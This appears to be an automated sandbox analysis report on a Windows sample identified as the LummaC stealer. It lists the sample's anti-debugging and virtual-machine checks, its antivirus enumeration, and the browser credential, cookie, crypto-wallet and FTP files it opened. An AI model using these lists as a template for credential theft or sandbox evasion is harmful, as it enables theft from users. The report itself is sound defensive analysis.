Source: C:\Users\user\Desktop\file.exe TID: 7524	Thread sleep time: -2181090s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7540	Thread sleep time: -2273136s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536	Thread sleep time: -1758879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7524	Thread sleep time: -924462s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2389201177.0000000000F47000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404600419.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2391236630.000000000130D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.2400526965.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2303709531.0000000001304000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__zXA
Source: file.exe, 00000000.00000002.2400526965.0000000005A62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}3
Source: file.exe, 00000000.00000002.2390678447.000000000129C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.1779857742.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390678447.0000000001279000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390678447.00000000012B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1779857742.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390678447.00000000012B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: file.exe, 00000000.00000002.2389201177.0000000000F47000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404600419.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05C5DDF1 rdtsc

0_2_05C5DDF1

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.2389201177.0000000000F47000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: aProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2144053343.0000000005A68000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb33k
Source: file.exe, 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.1810218656.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Liveri

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
